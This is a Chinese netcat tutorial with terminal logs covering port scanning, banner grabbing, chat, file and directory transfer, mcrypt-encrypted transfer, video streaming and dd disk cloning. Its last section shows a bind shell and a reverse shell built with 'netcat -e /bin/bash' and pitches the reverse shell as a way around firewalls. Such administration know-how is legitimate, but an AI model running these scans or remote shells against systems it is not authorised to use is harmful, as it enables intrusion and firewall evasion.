Linux netcat 命令實例:
1,端口掃描
端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -z -v -n 47.111.232.59 200-10000 47.111.232.59 3306 (mysql) open 47.111.232.59 6379 open 47.111.232.59 7190 open [root@iZbp143t3oxhfc3ar7jey0Z ~]#
z 參數告訴netcat使用0 IO,連接成功后立即關閉連接, 不進行數據交換(謝謝@jxing 指點)
v 參數指使用冗余選項(譯者注:即詳細輸出)
n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名
這個命令會打印200到10000 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑒別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner。
一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -v 47.111.232.59 22 47.111.232.59 22 (ssh) open SSH-2.0-OpenSSH_7.4 Protocol mismatch. [root@iZbp143t3oxhfc3ar7jey0Z ~]#
2 Chat Server
假如你想和你的朋友聊聊,有很多的軟件和信息服務可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計算機實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要創建一個Chat服務器,一個預先確定好的端口,這樣子他就可以聯系到你了。
Server
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 666 wewq qwqwwrwer ert ert
netcat 命令在1567端口啟動了一個tcp 服務器,所有的標准輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。
Client
[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 666 47.111.232.59 666 (mdqs) open wewq qwqwwrwer ert ert
3,文件傳輸
大部分時間中,我們都在試圖通過網絡或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當你只是需要臨時或者一次傳輸文件,真的值得浪費時間來安裝配置一個軟件到你的機器上嘛。假設,你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務器或者客戶端,以下,讓A作為服務器,B為客戶端。
Server
[root@iZbp143t3oxhfc3ar7jey0Z ~]# vim aaa.text [root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 888 < aaa.text ^C[root@iZbp143t3oxhfc3ar7jey0Z ~]#
[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 888 > aaa.text 47.111.232.59 888 (cddbp) open [root@iZ1la3d1xbmukrZ ~]# ll total 732 -rw-r--r-- 1 root root 65 Mar 16 16:05 aaa.text -rw-r--r-- 1 root root 279331 Mar 11 19:47 err_20190907.log -rw-r--r-- 1 root root 0 Mar 16 11:09 file.txt -rw-r--r-- 1 root root 398872 Mar 16 00:53 netcat-0.7.1.tar.gz -rw-r--r-- 1 root root 55403 Mar 11 19:51 two-file-merge drwxr-xr-x 13 root root 4096 Mar 3 18:03 utils [root@iZ1la3d1xbmukrZ ~]#
在客戶端我們重定向輸出到aaa.txt,當B連接到A,A發送文件內容,B保存文件內容到aaa.txt.
沒有必要創建文件源作為Server,我們也可以相反的方法使用。像下面的我們發送文件從B到A,但是服務器創建在A上,這次我們僅需要重定向netcat的輸出並且重定向B的輸入文件。
B作為Server
Server
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 888 > aaa.text ^Z [8]+ Stopped netcat -l -p 888 > aaa.text [root@iZbp143t3oxhfc3ar7jey0Z ~]# ll total 801416 -rw-r--r-- 1 root root 65 Mar 16 16:09 aaa.text -rw------- 1 root root 500336640 Feb 21 22:15 elasticsearch.tar -rw-r--r-- 1 root root 0 Mar 16 11:10 file.txt drwxr-xr-x 4 root root 4096 Mar 3 13:57 littleTools drwxr-xr-x 2 root root 4096 Feb 17 21:39 mysql-5.6.35-linux-glibc2.5-x86_64 -rw-r--r-- 1 root root 314581668 Feb 17 21:38 mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz -rw-r--r-- 1 root root 398872 Mar 16 00:29 netcat-0.7.1.tar.gz drwxrwxr-x 5 test1 test1 4096 Feb 21 19:41 ngx_openresty-1.9.7.1 -rw-r--r-- 1 root root 3548444 Dec 25 2015 ngx_openresty-1.9.7.1.tar.gz -rw-r--r-- 1 root root 1062 Mar 6 00:07 passwd drwxrwxr-x 6 root root 4096 Mar 16 14:01 redis-4.0.12 -rw-r--r-- 1 root root 1740544 Dec 12 2018 redis-4.0.12.tar.gz [root@iZbp143t3oxhfc3ar7jey0Z ~]#
Client
[root@iZ1la3d1xbmukrZ ~]# ll total 732 -rw-r--r-- 1 root root 65 Mar 16 16:05 aaa.text -rw-r--r-- 1 root root 279331 Mar 11 19:47 err_20190907.log -rw-r--r-- 1 root root 0 Mar 16 11:09 file.txt -rw-r--r-- 1 root root 398872 Mar 16 00:53 netcat-0.7.1.tar.gz -rw-r--r-- 1 root root 55403 Mar 11 19:51 two-file-merge drwxr-xr-x 13 root root 4096 Mar 3 18:03 utils [root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 888 < aaa.text 47.111.232.56 888 (cddbp) open ^Z [4]+ Stopped netcat -nv 47.111.232.59 888 < aaa.text [root@iZ1la3d1xbmukrZ ~]#
4,目錄傳輸
發送一個文件很簡單,但是如果我們想要發送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發送壓縮包。
如果你想要通過網絡傳輸一個目錄從A到B。
Server
[root@iZbp143t3oxhfc3ar7jey0Z ~]# tar cvf - /root/ | netcat -lp 6666 tar: Removing leading `/' from member names /root/ /root/.viminfo /root/redis-4.0.12/ /root/redis-4.0.12/sentinel.conf /root/redis-4.0.12/MANIFESTO /root/redis-4.0.12/00-RELEASENOTES /root/redis-4.0.12/INSTALL /root/redis-4.0.12/utils/ /root/redis-4.0.12/utils/hashtable/ /root/redis-4.0.12/utils/hashtable/README /root/redis-4.0.12/utils/hashtable/rehashing.c /root/redis-4.0.12/utils/generate-command-help.rb /root/redis-4.0.12/utils/whatisdoing.sh /root/redis-4.0.12/utils/install_server.sh /root/redis-4.0.12/utils/lru/ /root/redis-4.0.12/utils/lru/README
Client
[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.56 6666 | tar -xvf - 47.111.232.56 6666 (ircu-2) open root/ root/.viminfo root/redis-4.0.12/ root/redis-4.0.12/sentinel.conf root/redis-4.0.12/MANIFESTO root/redis-4.0.12/00-RELEASENOTES root/redis-4.0.12/INSTALL root/redis-4.0.12/utils/ root/redis-4.0.12/utils/hashtable/ root/redis-4.0.12/utils/hashtable/README root/redis-4.0.12/utils/hashtable/rehashing.c root/redis-4.0.12/utils/generate-command-help.rb root/redis-4.0.12/utils/whatisdoing.sh root/redis-4.0.12/utils/install_server.sh root/redis-4.0.12/utils/lru/ root/redis-4.0.12/utils/lru/README root/redis-4.0.12/utils/lru/test-lru.rb root/redis-4.0.12/utils/lru/lfu-simulation.c root/redis-4.0.12/utils/hyperloglog/ root/redis-4.0.12/utils/hyperloglog/hll-gnuplot-graph.rb root/redis-4.0.12/utils/hyperloglog/hll-err.rb
這里在A服務器上,我們創建一個tar歸檔包並且通過-在控制台重定向它,然后使用管道,重定向給netcat,netcat可以通過網絡發送它。
在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。
5. 加密你通過網絡發送的數據
如果你擔心你在網絡上發送數據的安全,你可以在發送你的數據之前用如mcrypt的工具加密。
服務端
[root@iZbp143t3oxhfc3ar7jey0Z ~]# !567 netcat -l -p 7777 | mcrypt -F -b -d -m ecb > file.txt Enter passphrase: Stdin was decrypted. [root@iZbp143t3oxhfc3ar7jey0Z ~]# less file.txt [root@iZbp143t3oxhfc3ar7jey0Z ~]#
客戶端
[root@iZ1la3d1xbmukrZ ~]# !260 mcrypt -F -b -m ecb < file.txt | nc 47.111.232.59 7777 Enter the passphrase (maximum of 512 characters) Please use a combination of upper and lower case letters and numbers. Enter passphrase: Enter passphrase: Stdin was encrypted. ^C[root@iZ1la3d1xbmukrZ ~]#
使用mcrypt工具解密數據。
以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。
這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。
6. 流視頻
雖然不是生成流視頻的最好方法,但如果服務器上沒有特定的工具,使用netcat,我們仍然有希望做成這件事。
服務端
$cat video.avi | nc -l 1567 這里我們只是從一個視頻文件中讀入並重定向輸出到netcat客戶端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
這里我們從socket中讀入數據並重定向到mplayer。
7,克隆一個設備
如果你已經安裝配置一台Linux機器並且需要重復同樣的操作對其他的機器,而你不想在重復配置一遍。不在需要重復配置安裝的過程,只啟動另一台機器的一些引導可以隨身碟和克隆你的機器。
克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上
nc -lp 6666 | dd of=/dev/sda dd if=/dev/sda | nc -nv 192.168.228.128 6666 -q 1
dd是一個從磁盤讀取原始數據的工具,我通過netcat服務器重定向它的輸出流到其他機器並且寫入到磁盤中,它會隨着分區表拷貝所有的信息。但是如果我們已經做過分區並且只需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 為sda1,sda2.等等。
8,打開一個shell
我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。
假設你的netcat支持 -c -e 參數(默認 netcat)
Server
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -lp 6666 -e /bin/bash
[root@iZ1la3d1xbmukrZ ~]# netcat 47.111.232.59 6666 ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.16.123.216 netmask 255.255.240.0 broadcast 172.16.127.255 ether 00:16:3e:0b:f2:bf txqueuelen 1000 (Ethernet) RX packets 636058 bytes 247705075 (236.2 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 608869 bytes 826533682 (788.2 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback) RX packets 4655 bytes 306659 (299.4 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4655 bytes 306659 (299.4 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
反向shell
反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同於其他配置,這里服務器使用的是由客戶提供的服務。
服務端
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -lp 6666 ifconfig docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether 02:42:c5:b4:18:cb txqueuelen 0 (Ethernet) RX packets 31452387 bytes 5313218458 (4.9 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 33492479 bytes 6315370860 (5.8 GiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.16.25.74 netmask 255.255.240.0 broadcast 172.16.31.255 ether 00:16:3e:08:40:fa txqueuelen 1000 (Ethernet) RX packets 30303620 bytes 6481329360 (6.0 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 26228556 bytes 4668743630 (4.3 GiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback) RX packets 163463160 bytes 26666833214 (24.8 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 163463160 bytes 26666833214 (24.8 GiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 vethe65aec6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 4e:f9:ea:3a:7e:a3 txqueuelen 0 (Ethernet) RX packets 19480 bytes 3518326 (3.3 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 23262 bytes 41465037 (39.5 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 vethf4f2f6c: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 8e:9d:11:5c:82:fd txqueuelen 0 (Ethernet) RX packets 1130545 bytes 171517935 (163.5 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 807685 bytes 101598002 (96.8 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 vethfcc843e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 7a:4e:7f:0d:21:02 txqueuelen 0 (Ethernet) RX packets 30281186 bytes 5569733890 (5.1 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 32637940 bytes 6134190483 (5.7 GiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 cd / ls bin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin some srv sys tmp usr var wgr ll /bin/bash: line 4: ll: command not found ls -l total 84 lrwxrwxrwx. 1 root root 7 Jul 11 2019 bin -> usr/bin dr-xr-xr-x. 5 root root 4096 Feb 24 20:14 boot drwxr-xr-x 19 root root 2960 Feb 27 00:18 dev drwxr-xr-x. 85 root root 12288 Mar 16 17:36 etc drwxr-xr-x. 3 root root 4096 Mar 12 22:40 home lrwxrwxrwx. 1 root root 7 Jul 11 2019 lib -> usr/lib lrwxrwxrwx. 1 root root 9 Jul 11 2019 lib64 -> usr/lib64 drwx------. 2 root root 16384 Jul 11 2019 lost+found drwxr-xr-x. 2 root root 4096 Apr 11 2018 media drwxr-xr-x. 2 root root 4096 Apr 11 2018 mnt drwxr-xr-x. 8 root root 4096 Mar 8 15:35 opt dr-xr-xr-x 160 root root 0 Feb 27 00:18 proc dr-xr-x---. 9 root root 4096 Mar 16 18:05 root drwxr-xr-x 29 root root 1000 Mar 16 17:36 run lrwxrwxrwx. 1 root root 8 Jul 11 2019 sbin -> usr/sbin drwxr-xr-x 3 root root 4096 Mar 3 16:22 some drwxr-xr-x. 2 root root 4096 Apr 11 2018 srv dr-xr-xr-x 13 root root 0 Mar 3 16:47 sys drwxrwxrwt. 9 root root 12288 Mar 16 17:36 tmp drwxr-xr-x. 13 root root 4096 Jul 11 2019 usr drwxr-xr-x. 19 root root 4096 Jul 11 2019 var drwxr-xr-x 2 root root 4096 Mar 8 22:30 wgr
客戶端
[root@iZ1la3d1xbmukrZ ~]# netcat 47.111.232.59 6666 -e /bin/bash
反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址為172.31.100.7,我使用代理服務器連接到外部網絡。如果我想從網絡外部訪問 這台機器如1.2.3.4的shell,那么我會用反向外殼用於這一目的。
